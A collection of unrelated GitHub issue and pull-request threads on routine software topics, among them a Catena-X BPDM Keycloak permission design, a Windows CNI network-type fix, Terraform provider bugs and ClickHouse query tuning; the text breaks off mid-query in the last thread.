Yup, all custom columns will still work, the HTML is still in the page, only hidden.

I'll consider $this->crud->enableMobileView()/$this->crud->disableMobileView(), of course, let's see what others think. I do think mobile-friendly CRUDs need to be a default feature, though. IMHO people shouldn't have to flip a switch to enable something that, in 2018, is assumed (clean mobile interface). Only people who have built a lot of admin panels know how difficult it is to achieve mobile-friendly admin interfaces. The others pretty much expect it to work, I think.
Cheers!

I'm okay with the defaults, but sometimes (like in my case), all of those features (export, page length,  ordering) are needed / must on mobile.
So I hope there will be a switch for that.
Thanks.

Merged into upgrade. Will be launched soon. This PR will close itself when upgrade gets merged into master.


Clarify .NET Framework targeting pack versions

Summary

Add statement to clarify that older versions aren't included.

Fixes #28058
@CamSoper

This is greatly appreciated. This does leave one confusion though.
On the Visual Studio Installer screen, which is stated as a way to install the developer packs, it shows .NET Framework 4.6.2-4.7.1 development tools.  Is this installing all of the development packs for those versions, as it currently appears to be a single combined install?


Portal User Management for BPDM

The authorization concept of the golden record process services (BPDM) has evolved.  This impacts the permissions of portal users as well as as the creation of technical users in the Portal.
Relevant concepts
The golden record process contains sharing members which need to share their data (input) to the golden record process and read the result of that process (output). The Pool is a central place that offers golden records that have been created from the shared business partner data. Golden records are distinguished between whether they belong to Catena-X members or not.
BPDM Permission Groups
We defined the following relevant permission groups in BPDM:

Gate Admin: Create, update and read sharing member business partner input data as well as read the output data of the golden record process
Gate Input Manager: Create, update and read sharing member business partner input data
Gate Input Consumer: Read sharing member business partner input data
Gate Output Consumer: Read sharing member business partner output data
Pool Admin: Read, create and update golden records as well as meta data in the Pool
Pool Cx Member: Read golden records that belong to Catena-X members from the Pool
Pool Sharing Member: Read golden records of Catena-X members and the overall changelog
Orchestrator Admin: Full access to Golden Record Tasks
Orchestrator Task Creator: Create Golden Record Tasks, view task results and status
Orchestrator Clean And Sync Task Processor: Reserve and resolve Golden Record Tasks in step 'Clean And Sync'
Orchestrator Clean Task Processor: Reserve and resolve Golden Record Tasks in step 'Clean'
Orchestrator Pool Task Processor: Reserve and resolve Golden Record Tasks in step 'Pool'

Permissions
Permissions as client resources

Cl7-CX-BPDM
Cl16-CX-BPDMGate
ClX-CX-BPDM-Orchestrator

read_partner
write_partner
read_partner_member
read_changelog
read_changelog_member
read_metadata
write_metadata

read_input_partner
write_input_partner
read_input_changelog
read_output_partner
read_output_changelog
read_sharing_state
write_sharing_state
read_stats

write_task
read_task
write_task_clean
read_task_clean
write_task_cleanAndSync
read_task_cleanAndSync
write_task_pool
read_task_pool

Permissions by permission group
Gate permissions:

Admin
Input Manager
Input Consumer
Output Consumer

          All of Cl16-CX-BPDMGate

read_input_partner
write_input_partner
read_input_changelog
read_sharing_state
write_sharing_state
read_stats

read_input_changelog
read_input_partner
read_input_changelog
read_sharing_state
read_stats

read_output_changelog
read_output_partner
read_output_changelog
read_sharing_state
read_stats

Pool Permissions:

Admin
Cx Member
Sharing Member

          All of Cl7-CX-BPDM

read_partner_member
read_changelog_member
read_metadata

read_partner_member
read_changelog_member
read_metadata
read_changelog

Orchestrator Permissions:

Admin
Task Creator
Clean And Sync Task Processor
Clean Task Processor
Pool Task Processor

All of ClX-CX-BPDM-Orchestrator
write_task
write_task_cleanAndSync
write_task_clean
write_task_pool

read_task
read_task_cleanAndSync
read_task_clean
read_task_pool

Mapping to Portal user roles for all companies (for all Catena-X members):

BPDM Permission Group
Portal Role

Gate Admin
Service Manager

Pool Catena-X Member
CX User

Technical Users:
The golden record service provider needs to be able to generate technical users for each permission group (1 - 12). In detail, there should be a technical user option for each sharing member for all Gate permission groups (1 - 4). The technical users for sharing member roles 1 - 4 should be associated with the sharing member's BPNL (So that resulting tokens will have the sharing member's BPNL for authorization purposes).  Furthermore, there needs to be one technical user option per Pool and Orchestrator permission group.
Companies which have booked the golden record service should not be able to create any technical users for BPDM. Any such feature to create technical users for companies that are not the golden record service provider should be removed.
Resulting technical users to be creatable in the Portal:

Gate BPNLX Admin (for each Sharing Member)
Gate  BPNLX Input Manager (for each Sharing Member)
Gate BPNLX Input Consumer (for each Sharing Member)
Gate BPNLX Output Consumer (for each Sharing Member)
Pool Admin
Pool Cx Member
Pool Sharing Member
Orchestrator Admin
Orchestrator Task Creator
Orchestrator Clean And Sync Task Processor
Orchestrator Clean Task Processor
Orchestrator Pool Task Processor

All those technical users should be available only for the service provider of the BPDM service.
Demo Configuration
BPDM is configurable to have arbitrary configurations when it comes to redirect URLs and clients. As long as the above requirements are implemented, BPDM can be configured to be compatible with any Portal environment.
Still, for the sake of defining a demo configuration, here is a proposal:
Clients:*
Cl7-CX-BPDM
Cl16-CX-BPDMGate
ClX-CX_BPDM-Orchestrator
Cl7-CX-BPDM:
Valid Origin: https://business-partners.{env}.demo.catena-x.net/pool/*
Description: BPDM Pool
Cl16-CX-BPDMGate:
Valid Origin: https://business-partners{env}.demo.catena-x.net/companies/*
Description: BPDM Gate
ClX-CX-BPDM-Orchestrator:
Valid Origin: https://business-partners.{env}.demo.catena-x.net/orchestrator/*
Description: BPDM Orchestrator
ClX-CX_BPDM-Orchestrator replace X in 'ClX' with next Client number.
Keycloak Example Configuration
This example configuration includes the roles, clients and client scopes that BPDM currently expects.
The actual client IDs are subject to change depending on the name they receive in the Portal Keycloak configuration.
CX-Central.json

Not sure, why we need "Sharing Member Admin". Just looking at the permissions, there seems to be no difference to "Sharing Member Input Manager". From a business point of view, no one from outside the Sharing Member company should have access to the Gate. The access by the Sharing Member is always through the EDC. So also from business point of view, we do not need Sharing Member Admin.

Not sure, why we need "Sharing Member Admin". Just looking at the permissions, there seems to be no difference to "Sharing Member Input Manager". From a business point of view, no one from outside the Sharing Member company should have access to the Gate. The access by the Sharing Member is always through the EDC. So also from business point of view, we do not need Sharing Member Admin.

Seems I have forgotten to add more permissions to that role. The Sharing Member Admin role is what specifically the Portal would need in order to access the Gate. Otherwise, the Portal would need to use several technical users for each  company to access the Gate. I think since we know the role of the Portal to have full access to the Gate I added it here as well.
I also added tables for the role permissions so we have a better overview. I kept the list above to illustrate how these permissions are actually expected to be written.

Status Release Image of Seeding data
Clients:
Cl7-CX-BPDM
Cl16-CX-BPDMGate
Cl7-CX-BPDM:
Valid Redirects: https://partners-pool.{env}.demo.catena-x.net/*
Description: BPDM Pool
Permissions:

add_company_data
delete_company_data
view_company_data

Cl16-CX-BPDMGate:
Valid Redirects: https://partners-gate.{env}.demo.catena-x.net/*
Description: Portal Gate
Permissions:

update_company_data
view_company_data
view_shared_data

Technical User Roles available inside the core:
BPDM Pool - view_company_data on the pool
BPDM Management - full pool access
BPDM Partner Gate - full gate access
BPDM Gate Read - view_company_data gate access
BPDM Gate Read & Write - full gate access

Role
Available for

BPDM Pool
"Operator", "CX Participant", "Service Provider", "App Provider"

BPDM Management
"Operator"

BPDM Partner Gate
"Operator"

BPDM Gate Read
"Operator", "CX Participant", "Service Provider", "App Provider"

BPDM Gate Read & Write
"Operator", "CX Participant", "Service Provider", "App Provider"

Status Release Image of Seeding data
Clients: Cl7-CX-BPDM Cl16-CX-BPDMGate
Cl7-CX-BPDM: Valid Redirects: https://partners-pool.{env}.demo.catena-x.net/* Description: BPDM Pool Permissions:
* add_company_data

* delete_company_data

* view_company_data

Cl16-CX-BPDMGate: Valid Redirects: https://partners-gate.{env}.demo.catena-x.net/* Description: Portal Gate Permissions:
* update_company_data

* view_company_data

* view_shared_data

Technical User Roles available inside the core: BPDM Pool - view_company_data on the pool BPDM Management - full pool access BPDM Partner Gate - full gate access BPDM Gate Read - view_company_data gate access BPDM Gate Read & Write - full gate access
Role 	Available for
BPDM Pool 	"Operator", "CX Participant", "Service Provider", "App Provider"
BPDM Management 	"Operator"
BPDM Partner Gate 	"Operator"
BPDM Gate Read 	"Operator", "CX Participant", "Service Provider", "App Provider"
BPDM Gate Read & Write 	"Operator", "CX Participant", "Service Provider", "App Provider"

I incorporated the As-Is information into the requirement description.
I think the issue is now ready to be processed.

Added a keycloak realm definition in order to further illustrate how the BPDM applications currently expect the Keycloak configuration to be.

Added Orchestrator permissions and restructured comment to better align with Keycloak concepts

@nicoprow what happened here - this is not the same requirement anymore as shared 2 weeks ago
....

@jjeroch Since we are currently working on our own Keycloak configuration I saw the chance to rephrase the issue to be more aligned with a Keycloak configuration requirement to make it more expressive. For the clients BPDM and BPDMGate the requirements didn't change, I just think I expressed it better.
In regards to the Orchestrator configuration that is something I actually added afterwards. I was not aware that these requirements had already been digested by you. If the Orchestrator makes problems I can also remove it. Or I can revert the Issue description to the previous version. It's not ideal for us, but it doesn't break anything really

I fully agree that this feature should describe the BPDM KeyCloak configuration as required for a GoLive of the operating company with BPDM. Since the orchestrator is sadly and probably not used by the only operating company, we know of, it would be OK to not implement this in 24.05 portal. However, I would leave the orchestrator permissions in the description and just state our decision here.
@nicoprow: Do we need the orchestrator permissions for our E2E tests?

Orchestrator config is not needed to perform the E2E tests.
I removed the Orchestrator config from the issue.
I also revised the technical user requirements according to our sync.
Technical users for sharing members are now reduced to 1 per participant.
Also defined the technical users for the VAS

Hello @jjeroch , @evegufy
Since the feature is a 24.05 feature and the development phase for 24.08 is coming to an end, we need a status on the feature. Can you please update the status?

[ ] Currently you are assigned (Responsible) → Is this correct? If not, please assign the correct contact person
[ ] Please check whether the status (backlog, work in progress ...) is set correctly
[ ] Please comment on the current status of the feature
[ ] Are all SubTasks (issues from other repositories that deal with the feature) linked? → The easiest way is to mention the feature here in the issue (via the ID) so we can see which teams/repositories are involved.
[ ] Is there a spillover planned?

If you need any clarification, please get in touch, thank you very much.
Stephan


BUG: Dark mode content invisible in Testimonial section.

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
In dark mode, the testimonial section's content is not visible. Text is  getting disappear, affecting readability and user experience. This issue needs urgent attention for proper display in dark mode."

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

Assigned!
Make sure to attach before & after screenshots in your PR. Also, star the repo before working on it. While creating your PR, ensure you pull all existing changes beforehand to avoid conflicts.
Happy open-source contributing!

assign this please

@krati234 have you solved it, yesterday I raised the same issue.
It is not accepted yet!
but I have changed the code


[OData] Improve Nox.Api error handling & Http response codes

Improve the error handling in Nox.Api oDataController

When a duplicate entity will result, return 'Conflict'
When an entity is not found, return 'NotFound'
When entity sucessfully posted, return 'Created'
When an entity is successfully updated, return 'Updated'
When an update attempt is made on an entity that has changed, return 'UnprocessableEntity'
All other successfull responses must be 'Ok' (200) or 'NoContent' (204)
All other errors must return 'BadRequest' (400) with a proper error message

Make sure we have an example on the client API test


Getting ERROR on push

This is the error I'm getting when I try grunt db_push --target="stage"
Importing DUMP into remote database
stdin: is not a tty
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/bin/sh: mysqldump: command not found' at line 1
Any ideas?
Alex

check the dumped sql file it might be a mysql warning about the password that got into the file at the first line.


Extension host only modules gets loaded in renderer side

extHostDocuments requires "weak" even though this module is only used in the extension host side it gets loaded from the renderer side because of https://github.com/Microsoft/vscode/blob/master/src/vs/workbench/electron-browser/shell.ts#L49
Imho we should do a clean split between modules needed for API that get loaded on the renderer side vs. extension host side. Otherwise it is easy to accidentally sneak in modules into the renderer. We should stay away from that because module loading slows down startup.

This case should be doable, tho not everything can be done like that cos of our proxying story

Actually, we cannot do this without reasonable effort. The proxy story is all about knowing both endpoints MainXYZ and ExtHostXYZ on both sides. This approach gives type-safety but the drawback is that the code is loaded on both sides.

fyi @alexandrudima

Here is a list of modules we load from the renderer and their times, weak seems to cause around 10% of the overall loading:

I know - it's a said story...


[bare metal][tinkerbell] multiple connected NICs cause cluster failure

What happened:
If multiple NICs are cabled and the first NIC that comes up in HookOS with an IP address is not the NIC specified in the hardware csv it will cause the cluster to fail. This is because we write static network configs and the way in which we determine which network interface to get DHCP info from is only determined based on the first interface that is found up and running with IP info. See this function here: https://github.com/aws/eks-anywhere-build-tooling/blob/f3caf094521ede3486b4a3116a1bf8c584ddf4a0/projects/tinkerbell/hub/patches/0003-Write-DHCP-offer-to-static-Netplan-file.patch#L214
What you expected to happen:
We should make sure the MAC address is the expected one. This can be done by reading /proc/cmdline as it has the mac address in the hw_addr= arg.
How to reproduce it (as minimally and precisely as possible):
Anything else we need to know?:
Environment:

EKS Anywhere Release:
EKS Distro Release:

Hi all - may I know if there is any update on this bug?

closed by https://github.com/aws/eks-anywhere-build-tooling/pull/2577


Failure with altering warehouse tagging value

Provider Version
v0.25.36
Terraform Version
v0.13
Describe the bug
When running a terraform plan, you can see that the warehouse tagging value changes in the state file. However, this value change is not applied in Snowflake (checked Snowflake query history). You can only create a new warehouse with a tag & value, but already existing warehouses can't be altered.
Expected behavior
Alter warehouse tag value
Code samples and commands
New warehouse
resource "snowflake_warehouse" "warehouse_tags" {
  name           = "TEST_WH"
  warehouse_size = "XSMALL"
  tag {
    name     = "TEST_TAG"
    database = "DATA_PLATFORM"
    schema   = "MONITORING"
    value    = "success"
  }
}

Altered value & plan
resource "snowflake_warehouse" "warehouse_tags" {
  name           = "TEST_WH"
  warehouse_size = "XSMALL"
  tag {
    name     = "TEST_TAG"
    database = "DATA_PLATFORM"
    schema   = "MONITORING"
    value    = "success_again"
  }
}

 ~ resource "snowflake_warehouse" "warehouse_tags" {
        auto_resume                         = true
        auto_suspend                        = 600
        id                                  = "TEST_WH"
        max_cluster_count                   = 1
        max_concurrency_level               = 8
        min_cluster_count                   = 1
        name                                = "TEST_WH"
        resource_monitor                    = "null"
        scaling_policy                      = "STANDARD"
        statement_queued_timeout_in_seconds = 0
        statement_timeout_in_seconds        = 172800
        warehouse_size                      = "X-Small"

      ~ tag {
            database = "DATA_PLATFORM"
            name     = "TEST_TAG"
            schema   = "MONITORING"
          ~ value    = "success" -> "success_again"
        }
    }

I just opened this bug, but I think both of ours are related.

Hello @damian-siemieniak-cko. Tags are now associated using the purpose built "snowflake_tag_association" resource, and the old method has been deprecated due to issues with update, as you have pointed out. An example of how to use this for the warehouse example would be:
resource "snowflake_warehouse" "test_wh" {
  name           = "TEST_WH"
  warehouse_size = "XSMALL"
}

resource "snowflake_tag" "t" {
  name = "tag1"
  //value = "value1"
  database = snowflake_database.db.name
  schema = snowflake_schema.s.name
}

resource "snowflake_tag_association" "ta" {
  tag_id = snowflake_tag.t.id
  tag_value ="value1"
  object_type = "WAREHOUSE"
  object_identifier {
    name = snowflake_warehouse.test_wh.name
  }
}

Please open a new ticket if you have any issues. Thanks!


Bluetooth: Controller: Fix missing DTM Tx/Rx reset on HCI Reset Command

Fix missing implementation to reset DTM Tx/Rx reset on HCI
Reset Command.
Fixes #39973.
Signed-off-by: Vinayak Kariappa Chettimada<EMAIL_ADDRESS>

The fix solves the issue with the reset. So the issue #39973 can be fixed by the PR.
May I add a question here that is related to the issue? The error "UnknownHciCommand" is reported when the ll layer has already a test running. This is still the case if we start the test twice in a row. Shouldn't the returned error value be another error value?

May I add a question here that is related to the issue? The error "UnknownHciCommand" is reported when the ll layer has already a test running. This is still the case if we start the test twice in a row. Shouldn't the returned error value be another error value?

I have added a new commit to this PR to return different error codes.

Now in case of two test start in a row the second fails with "CommandDisallowed" what seems to make sense.
The changes look fine for me.

@AdrianEggenberger as I work remote and have no access to RF tester, there has not been much enhancements to DTM implementation, please feel free to contribute enhancements related to latest BT Specification updates.


Detect (known) crawlers and set flag in browser

This is useful to avoid burdening partner sites and their APIs.
Background
We have in the past been asked to remove functionality from the site as other sites couldn't handle the amount of requests (IUCN api for example). This is typically due to peaks in requests when we get crawled.
Possible solutions

Just show a link to the site, but don't call it (what we do now)
This is a shame as we show possible dead links
Only call external APIs if it is a logged in user
most users aren't logged in I suspect
If agent identifies as a crawler, then don't call external APIs
All regular users will still see the content

Version 3. seems the best solution.
I suggest adding middleware to detect user agent and set a JS variable in the <head>. Angular can then read it and decide wether an endpoint should be called or not. Similar we could decide server side if we wan't to call an endpoint if the middleware has flagged the agent as a crawler.
This relates to
https://github.com/gbif/portal-feedback/issues/1792
https://github.com/gbif/portal-feedback/issues/1826
https://github.com/gbif/portal-feedback/issues/1968

Note to self: https://www.npmjs.com/package/es6-crawler-detect


Support #[start]

The start feature allows to mark a function as the entry point and override the start lang item. It's currently not supported in Miri:
error: internal compiler error: src/tools/miri/src/eval.rs:110:9: main function must not take any arguments

thread 'rustc' panicked at 'Box<Any>', compiler/rustc_errors/src/lib.rs:1007:9
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

note: the compiler unexpectedly panicked. this is a bug.

note: we would appreciate a bug report: https://github.com/rust-lang/rust/issues/new?labels=C-bug%2C+I-ICE%2C+T-compiler&template=ice.md

note: rustc 1.54.0-nightly (c79419af0 2021-06-04) running on x86_64-unknown-linux-gnu

https://play.rust-lang.org/?version=nightly&mode=debug&edition=2018&gist=b867b78dd787c573bdfb44c88fa856dc
https://github.com/rust-lang/miri/blob/ef998308805748289e46bce394a5d539b12b0118/src/eval.rs#L110

Interesting, so #[start] must have 2 arguments even though the start lang-item defined inside std has 0 arguments.
error[E0308]: `#[start]` function has wrong type
 --> src/main.rs:4:1
  |
4 | fn start() -> isize {
  | ^^^^^^^^^^^^^^^^^^^ incorrect number of function parameters
  |
  = note: expected fn pointer `fn(isize, *const *const u8) -> _`
             found fn pointer `fn() -> _`

the start lang-item defined inside std has 0 arguments

It's not the start lang item, but the main function, I think. The start lang item takes 3 arguments:
https://github.com/rust-lang/miri/blob/ef998308805748289e46bce394a5d539b12b0118/src/eval.rs#L195-L199

Ah, right. And then we pass a pointer to the main function. That one must indeed have no arguments or else the call you are citing above will not even be well-typed.


Fix horizon build

moved the files like we discussed
ran all the tests which passed
ran the command TRAVIS_TAG=horizon-v0.1.0 go run ./support/scripts/build_release_artifacts/main.go and ran the resulting binary, which brought up horizon correctly.

updated the readme file to use the correct invocation for running tests; from my recent .travis.yml change (thanks for pointing this out, @tomerweller!)

No worries, I moved it to services/horizon/internal now.
I don't have any more planned changes.

travis goofed up and 1 of the 4 builds failed in the previous run because it could not fetch a dependency... weird.
re-ran by touching the README.md file and travis passed.

thanks!
You may still need to do the merge from stellar/go:fix-horizon-build to stellar/go:master


Bug with Arabic context

Description of the bug:
On Colab, when I use Langchain and Gemini API with "only Arabic" pdf file, I got the following error. But it works well with English pdf files.
"ERROR:tornado.access:500 POST /v1beta/models/gemini-pro:generateContent?%24alt=json%3Benum-encoding%3Dint (<IP_ADDRESS>) 10208.52ms
WARNING:langchain_google_genai.chat_models:Retrying langchain_google_genai.chat_models._chat_with_retry.._chat_with_retry in 2.0 seconds as it raised InternalServerError: 500 POST http://localhost:38813/v1beta/models/gemini-pro:generateContent?%24alt=json%3Benum-encoding%3Dint: An internal error has occurred. Please retry or report in https://developers.generativeai.google/guide/troubleshooting."
Actual vs expected behavior:
Actual behavior:
ERROR:tornado.access:500 POST /v1beta/models/gemini-pro:generateContent?%24alt=json%3Benum-encoding%3Dint (<IP_ADDRESS>) 10208.52ms
WARNING:langchain_google_genai.chat_models:Retrying langchain_google_genai.chat_models._chat_with_retry.._chat_with_retry in 2.0 seconds as it raised InternalServerError: 500 POST http://localhost:38813/v1beta/models/gemini-pro:generateContent?%24alt=json%3Benum-encoding%3Dint: An internal error has occurred. Please retry or report in https://developers.generativeai.google/guide/troubleshooting.
Any other information you'd like to share?
No response

@eta1232002 it would be better if you provide a minimal example to reproduce the error.


[Session] Add support for GetSession via the CLI + deps

Summary
Human Summary

Update the CLI code flow to be able to call GetSession
Add make targets to trigger GetSession
Replace [] with <> in all CLI functions to differentiate required vs optional params
Made a couple changes to SessionHydrator (and added tests) to account additional error cases

https://github.com/pokt-network/poktroll/assets/1892194/56425906-d06f-4c41-b8a5-d210d8a450cd
AI Summary

Summary generated by Reviewpad on 08 Nov 23 19:40 UTC
This pull request modifies various files in the codebase. Here is a summary of the changes:

The command used for unstaking an application has been updated and the corresponding description has been clarified.
The TestGenesis function in the x/supplier/genesis_test.go file has been modified to replace the ServiceId field with the Service field in the SupplierServiceConfig struct.
The MsgServerStakeApplication function in the x/application/keeper/msg_server_stake_application_test.go file has undergone changes related to the ServiceConfigs array, replacing the ServiceId field with the Service field in multiple instances.
The file diff includes changes related to the x/supplier/genesis_test.go file, specifically replacing the ServiceId field with the Service field in the SupplierServiceConfig struct and updating the Id and Endpoints fields.
The application.proto file has been updated with changes to the comment of the service_configs field.
The service.go file includes changes such as importing a new package, adding new functions, and updating existing functions related to service validation.
The errors.go file in the x/supplier/types package has new error constants related to invalid session start height and ID.
The query_gateway.go file has changes to the CmdShowGateway function, including updates to the Use, Short, Args, and RunE fields.
The query_gateway.go file includes changes to the CmdShowGateway function, modifying the Use, Short, Args, and RunE fields.
The server_builder.go file has changes related to the BuildProvidedServices function, such as renaming the serviceId variable to service and creating a new slice called serviceEndpoints.
The msg_server_undelegate_from_gateway_test.go file contains changes to multiple test cases, replacing the ServiceId field with the Service field.
The services.go file includes changes such as importing a new package, adding a new function for service validation, and updating existing functions related to service validation.
The go.mod file has changes related to dependencies, including additions and removals of dependencies.
The tx_submit_proof.go file includes changes such as reordering import statements, renaming variables, and modifying the CmdSubmitProof function.
There are changes to the session hydrator functionality, including imports, field replacements, error handling updates, and validation checks.
Changes to the tx_stake_application.go file involve modifying the usage string and providing instructions for the stake application command.
The service_configs.go file has had its validation code replaced by validation code for the service instead of the serviceId.
The NewMsgStakeApplication function in the message_stake_application.go file has been modified to change the ServiceId field name to Service in the sharedtypes.ApplicationServiceConfig struct.

Please let me know if you would like more information on any specific part of the diff.

Issue

#15

Type of change
Select one or more:

[x] New feature, functionality or library
[ ] Bug fix
[ ] Code health or cleanup
[ ] Documentation
[ ] Other (specify)

Testing

[ ] Run all unit tests: make go_develop_and_test
[ ] Verify Localnet manually: See the instructions [here](TODO: add link to instructions)

Sanity Checklist

[ ] I have tested my changes using the available tooling
[ ] I have performed a self-review of my own code
[ ] I have commented my code, updated documentation and left TODOs throughout the codebase

@bryanchriswhite PTAL again when you have a chance. This PR should be really close to ready!

I accidently merged this into the wrong branch so attempt #2 it in #163.


JS error on IE11 tablet for trigger function

Error:  TypeError · Object doesn't support this action
User agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; Zoom 3.6.0; rv:11.0) like Gecko
Error:

IE11 is not supported by Dom7 and Swiper

IE11 is not supported by Dom7 and Swiper


Fix cni config type.

Fix the network type.
The network type is set to a wrong value, hence it stops working.
Signed-off-by: Lantao Liu<EMAIL_ADDRESS>

/cc @jterry77

You're testing this on nat? I think this will break sdnbridge. Overlay should still work. Ideally we could remove type from the networkInfo, and remove the create network portion.

@nagiesek Are we intentionally using config.Name as the type?
It doesn't look correct to me. config.Name is an arbitrary network name, for example I use a random string containerd-nat as the network name.
Based on https://docs.microsoft.com/en-us/windows-server/networking/technologies/hcn/hcn-json-document-schemas, the type should be a predefined enum, right?

The short answer is I can merge this, but there needs to be some sort of switch statement that selects the correct network type for the plugin being used. Should be just a short control setting the value of Type :  in the network info to be "nat" for nat.exe "l2bridge" for sdnbridge.exe, "overlay" for overlay.exe
However my intention is to remove the code that conditionally creates the network if it cannot be found, and make it a seperate setup requirement for using these cni plugins. So you could also just change the line here to return an error instead of trying to create the network, and that'd help me out too.

@nagiesek - I'm not sure I follow. Can you give me a code sample of what you want @Random-Liu to do here?

I worked around this in the test environment by reusing the nat interface in windows https://github.com/containerd/cri/pull/1264/commits/c77f496ba67d312cbb7f6e3c440bed1ffaa3d292#diff-b4444f4cc9d6999c0dde9b0a21c41bbeR57
@nagiesek However, it is really not clear what I should put in the name field in the CNI config. Using the network name as the CNI type seems a bit hacky to me. Is there a document about how it should be used?

@nagiesek - I'm not sure I follow. Can you give me a code sample of what you want @Random-Liu to do here?

	ninfo := &network.NetworkInfo{
		ID:            config.Name,
		Name:          config.Name,
		Type:          network.NetworkType(config.Type),
		Subnets:       subnets,
		InterfaceName: "",
		DNS:           dnsSettings,
	}

        var networkType string
        // in case .exe is appended
       cniType := strings.Split(config.Type, ".exe")[0].ToLower()
        if cniType == "nat" {
              networkType = "nat"
        } else if cniType == "sdnbridge" {
              networkType = "l2bridge"
       }  else if cniType == "sdnoverlay" {
              networkType = "overlay"
      } else {
           logrus.Debugf("Encountered unsupported cni, network type unsupported")
           panic("Unrecognized cni type, unable to create network")
     }
     ninfo.Type = network.NetworkType(networkType)

@nagiesek However, it is really not clear what I should put in the name field in the CNI config. Using the network name as the CNI type seems a bit hacky to me. Is there a document about how it should be used?
Sorry, I really should add some long form documentation here, I'll file an issue on myself.

We're not using the network name as the cni type here. You are right to suspect hackiness though. We use network name to determine the network type. Essentially what this code path does is try to find a network (in a very simplified model: grouping of a vswitch and a subnet) with the name specified in the cni Name field. This is all well and fine if the network specified in the name field has been created (which is what I strongly reccommend), but if the network does not exist we will try to create a network for the user with type set to network name.
If your network is named "nat" that will work as "nat" is a valid type for us, but if your network is named "MyNetwork" the code will try to create a network of type "MyNetwork" which will fail. So putting cni type into the field here will also not work, but from the cni type we can determine the correct network type.
All in all the network creation does not belong in the cni plugins, and I will remove this conditional network creation. My requirement is that the network is created beforehand, as the setup is complicated for the non-nat case.

fixed in #54 by removing network creation logic


Refactor for config

refactor code to allow for a new command config that does not require auth
add in handling for "inactive device" error response where user can select from list of available devices to transfer playback to

don't feel like updating the client ids for CI to pass, but nothing should have changed on that front (I think)


Add more whitelisted types.


Replace deprecated property storage_account_name

The following warning occurs on azurerm provider version 4.11.0.
╷
│ Warning: Argument is deprecated
│
│   with module.launchpad.azurerm_storage_container.this,
│   on .terraform/modules/launchpad/r-storage-account.tf line 56, in resource "azurerm_storage_container" "this":
│   56:   storage_account_name  = azurerm_storage_account.this.name
│
│ the `storage_account_name` property has been deprecated in favour of
│ `storage_account_id` and will be removed in version 5.0 of the Provider.
╵

[!CAUTION]
If storage_account_name is replaced with storage_account_id the storage container will be recreated ❗

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols:
-/+ destroy and then create replacement

Terraform will perform the following actions:

  # module.launchpad.azurerm_storage_container.this must be replaced
-/+ resource "azurerm_storage_container" "this" {
      ~ default_encryption_scope          = "$account-encryption-key" -> (known after apply)
      ~ has_immutability_policy           = false -> (known after apply)
      ~ has_legal_hold                    = false -> (known after apply)
      ~ id                                = "https://stlaunchpad.blob.core.windows.net/tfstate" -> (known after apply)
      ~ metadata                          = {} -> (known after apply)
        name                              = "tfstate"
      ~ resource_manager_id               = "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/RG/providers/Microsoft.Storage/storageAccounts/stlaunchpad/blobServices/default/containers/tfstate" -> (known after apply)
      + storage_account_id                = "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/RG/providers/Microsoft.Storage/storageAccounts/stlaunchpad" # forces replacement
      - storage_account_name              = "stlaunchpad" -> null # forces replacement
        # (2 unchanged attributes hidden)
    }

Plan: 1 to add, 0 to change, 1 to destroy.


Небольшой тест на скорость

Решил попробовать поработать с базой, сделал три таблицы, нагрузил в них по 6 млн. строк, и делал просто выборки. Кто то может мне подсказать на сколько корректные выходят результаты и можно ли запросы ускорить? Заранее благодарен за любой совет/рекомендацию/пожелание.
Ссылка на результаты

It's better (both performance- and memory-wise) to store things like IPv4/IPv6/UUID in the compact datatypes (like UInt32 for the IPv4 address and FixedString(16) for both IPv6 and UUID).
For instance, we use UUIDs as primary keys for the sessions, visits and whatever else. I've got 2x lower RAM usage and 2x faster query execution time for a lot of different aggregation queries we run ourselves with the FixedString(16) (comparing to a human-readable 36-byte String).
Sure, the query doesn't look pretty when having a lot of UUIDNumToString(id) AS id in it, but if you don't need to display the actual IDs in the aggregations, it's not a big deal.
These kinds of queries are pointless:
:) SELECT count() FROM (SELECT distinct(user_id) FROM user_visit WHERE event_date BETWEEN toDate('2016-10-13') AND toDate('2016-12-12'));

┌─count()─┐
│  997533 │
└─────────┘

1 rows in set. Elapsed: 0.520 sec. Processed 6.00 million rows, 36.00 MB (11.54 million rows/s., 69.25 MB/s.)

You can use uniqExact instead and get rid of the subquery:
:) SELECT uniqExact(user_id) FROM user_visit WHERE event_date BETWEEN toDate('2016-10-13') AND toDate('2016-12-12');

┌─uniqExact(user_id)─┐
│             997533 │
└────────────────────┘

1 rows in set. Elapsed: 0.139 sec. Processed 6.00 million rows, 36.00 MB (43.10 million rows/s., 258.62 MB/s.)

Then, here comes the fun part.

Can you do it with a single query?  Elapsed: 0.391 sec. Processed 44.17 million rows, 257.32 MB (112.99 million rows/s., 658.29 MB/s.)

Slightly slower, but whatever.
Can we do better?
 Elapsed: 0.338 sec. Processed 14.72 million rows, 101.94 MB (38.86 million rows/s., 269.03 MB/s.)

Yes, we can!
Let's say you've just encountered the -If aggregation functions.
 Elapsed: 1.794 sec. Processed 6.00 million rows, 60.00 MB (3.34 million rows/s., 33.45 MB/s.)

Oh snap, it didn't end well.
(don't try to calculate it using GROUP BY ... WITH TOTALS LIMIT 1, it'll end up with a 10+ second execution time!)
Can we optimize it even further?
SELECT
    sum(count) AS count_total,
    sumIf(count, site_id = 4) AS count_fourth,
    sumIf(count, event_date = '2016-11-10') AS count_nov10,
    sum(uniq_ips) AS uniq_ips_total,
    sumIf(uniq_ips, site_id = 4) AS uniq_ips_fourth,
    sumIf(uniq_ips, event_date = '2016-11-10') AS uniq_ips_nov10,
    sum(uniq_c_ips) AS uniq_c_ips_total,
    sumIf(uniq_c_ips, site_id = 4) AS uniq_c_ips_fourth,
    sumIf(uniq_c_ips, event_date = '2016-11-10') AS uniq_c_ips_nov10
FROM (
    SELECT
        event_date,
        site_id,
        user_ip,
        count() AS count,
        uniqExact(user_ip) AS uniq_ips,
